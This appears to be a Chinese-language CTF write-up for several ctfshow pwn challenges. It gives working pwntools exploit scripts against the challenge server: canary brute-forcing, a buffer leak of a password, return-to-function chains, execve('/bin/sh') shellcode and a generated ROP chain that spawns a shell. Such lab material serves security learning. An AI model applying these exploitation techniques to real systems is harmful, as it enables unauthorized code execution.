pwn53
再多一眼看一眼就会爆炸
检查保护,32位程序只开了代码执行保护
但是观察程序我们可以看见存在后门函数,并且在ctfshow函数中有一个模拟Canary的循环,与真实的Canary不同的时这里的Canary的值是静态的
索引下标不大于32的时候,只要不输入换行符(ascii=10)就不会终止输入,通过分析我们可以知道输入的值与下一次read的长度有关,这里我们可以稍微设置大一些,因为read可以被换行符阻断。也就是说这里需要自定义一个下一次read的长度再以换行符结尾,sendline发送后会自带一个换行符,能够符合要求。
第二个read处通过自定义长度可以实现栈溢出,接着是一个模拟Canary检测。32位中Canary为4字节,我们可以一位一位字节(p8)的进行爆破,范围从0x00到0xFF,直到找到正确的Canary再进行栈溢出
这里需要注意的是payload的发送需要用send或者少填充一个数据,因为sendline发送后会自带一个换行符
from pwn import*
from pwn import p8,p16,p32,p64,u32,u64
canary=b''
for i in range(4):
for CanaryBit in range(0xFF):
io = remote("pwn.challenge.ctf.show",28244)
payload = b'a'*(0x20) + canary + p8(CanaryBit)
io.sendlineafter(b'>',b"99999")
io.sendafter(b'$ ',payload)
response = io.recvline()
io.close()
if b'Canary Value Incorrect!' in response:
print(f'Canary = {canary} | {p8(CanaryBit)} is Wrong')
else:
print(f'Canary = {canary} | {p8(CanaryBit)} is Right')
canary += p8(CanaryBit)
break
print(f'Compelete! Canary = {canary}')
io = remote("pwn.challenge.ctf.show",28244)
binsh_add = 0x08048696
payload = b'a'*(0x20) + canary + b'a'*(0x10) + p32(binsh_add)
io.sendlineafter(b'>',b"99999")
io.sendafter(b'$ ',payload)
io.interactive()
得到Canary和Flag
pwn54
再近一点靠近点快被融化
检查保护,32位只开了代码执行保护
查看程序,存在后门函数,但是主函数中有条件能够进入
大致流程为先通过fgets接收Username(fgets可被换行符隔断,意味着输入数据小于等于256)。接着用strchr搜索刚才传入v5的数据中是否存在换行符,如果有则替换为 NULL ,方便后面puts的阻断。接着将密码传入,我们可以注意到Username和password存储区域相连,也就是说我们可以传满Username来泄露出password。接着是对password的输入以及check,符合条件则进入后门函数。
from pwn import *
from pwn import p8,p16,p32,p64,u32,u64
io = remote("pwn.challenge.ctf.show",28293)
payload = b'a'*256
io.sendlineafter(b'Username:',payload)
io.recvuntil(b',')
password = io.recv()
print(f'password is {password.decode()}')
io.close()
io = remote("pwn.challenge.ctf.show",28293)
io.sendlineafter(b'Username:',b'666')
io.sendline(password)
io.interactive()
这里插入recv 后破坏了用户的交互功能将导致程序崩溃,所以需要开一个新的远程
pwn55
你是我的谁,我的我是你的谁
检查保护,32位只开了代码执行保护
查看程序,ctfshow 函数内存在gets的栈溢出。存在后门函数flag,但是相关参数需要符合条件,去查找相关参数又发现定义其参数的函数。
from pwn import *
from pwn import p8,p16,p32,p64,u32,u64
from LibcSearcher import * # type: ignore
from ctypes import*
from MyPwn import*
#========================
# context.arch='amd64'
context.arch = 'i386'
# context.log_level = 'debug'
host='pwn.challenge.ctf.show'
port=28148
file_name='pwn'
Breakpoint_NoPIE=0x1100
Breakpoint_PIE=0x1100
#========================
local_file = '/mnt/c/Users/HelloCTF_OS/Desktop/Pwn_file/'+ file_name
elf=ELF(local_file)
local_libc = elf.libc.path
libc=ELF(local_libc, checksec = False)
def Start():
if args.C:
ROPgadget(local_file)
exit(0)
elif args.CL:
ROPgadget(local_libc)
exit(0)
elif args.G:
gdbscript = f'b *{Breakpoint_NoPIE}'
io = process(local_file)
gdb.attach(io, gdbscript)
elif args.GP:
gdbscript = f'b *$rebase({Breakpoint_PIE})'
io = process(local_file)
gdb.attach(io, gdbscript)
elif args.P:
io = process(local_file)
else:
io = remote(host,port)
return io
def Exp():
1==1
flag_add = 0x8048606
flag1_add = 0x8048586
flag2_add = 0x804859D
payload = b'a'*(0x2C+4) + p32(flag1_add) + p32(flag2_add) + p32(flag_add) + p32(0xACACACAC) +p32(0xBDBDBDBD)
io.sendlineafter(b'flag: ',payload)
if __name__=='__main__':
io=Start()
Exp()
io.interactive()
pwn56
先了解一下简单的32位shellcode吧
32位直接给了 shell ,打开 ida 发现是利用系统调用在Linux系统上执行execve(“/bin/sh”,0,0),即打开一个新的shell进程。
push 68h ; 'h'
push 732F2F2Fh
push 6E69622Fh
mov ebx, esp ; file
xor ecx, ecx ; argv
xor edx, edx ; envp
push 0Bh
pop eax
int 80h
pwn57
先了解一下简单的64位shellcode吧
64位直接给了 shell
push rax
xor rdx, rdx
xor rsi, rsi
mov rbx, 68732F2F6E69622Fh
push rbx
push rsp
pop rdi
mov al, 3Bh ; ';'
syscall
pwn73
愉快的尝试一下一把梭吧!
之前我们了解了如何通过ROPgadget获取溢出长度,ROPgadget还可以一把梭
ROPgadget ropchain
在静态连接程序中,利用ROPgadget生成现成的ropchain,可以直接实现getshell。ropchain的本质是执行syscall
ROPgadget --binary pwn --ropchain
只需要将padding填入,就能利用现成rop链进行getshell
from pwn import *
from pwn import p8,p16,p32,p64,u32,u64
from struct import pack
from LibcSearcher import * # type: ignore
from ctypes import*
from MyPwn import*
#========================
# context.arch='amd64'
context.arch = 'i386'
# context.log_level = 'debug'
host='pwn.challenge.ctf.show'
port=28213
file_name='pwn'
Breakpoint_NoPIE=0x1100
Breakpoint_PIE=0x1100
#========================
local_file = '/mnt/c/Users/HelloCTF_OS/Desktop/Pwn_file/'+ file_name
elf=ELF(local_file)
# local_libc = elf.libc.path
# libc=ELF(local_libc, checksec = False)
def Start():
if args.C:
ROPgadget(local_file)
exit(0)
elif args.CL:
ROPgadget(local_libc)
exit(0)
elif args.G:
gdbscript = f'b *{Breakpoint_NoPIE}'
io = process(local_file)
gdb.attach(io, gdbscript)
elif args.GP:
gdbscript = f'b *$rebase({Breakpoint_PIE})'
io = process(local_file)
gdb.attach(io, gdbscript)
elif args.P:
io = process(local_file)
else:
io = remote(host,port)
return io
def Exp():
1==1
p = b'a'*(0x18+4)
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b81c6) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b81c6) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049303) # xor eax, eax ; ret
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de955) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049303) # xor eax, eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0806cc25) # int 0x80
io.sendlineafter(b'Show-hand!!',p)
if __name__=='__main__':
io=Start()
Exp()
io.interactive()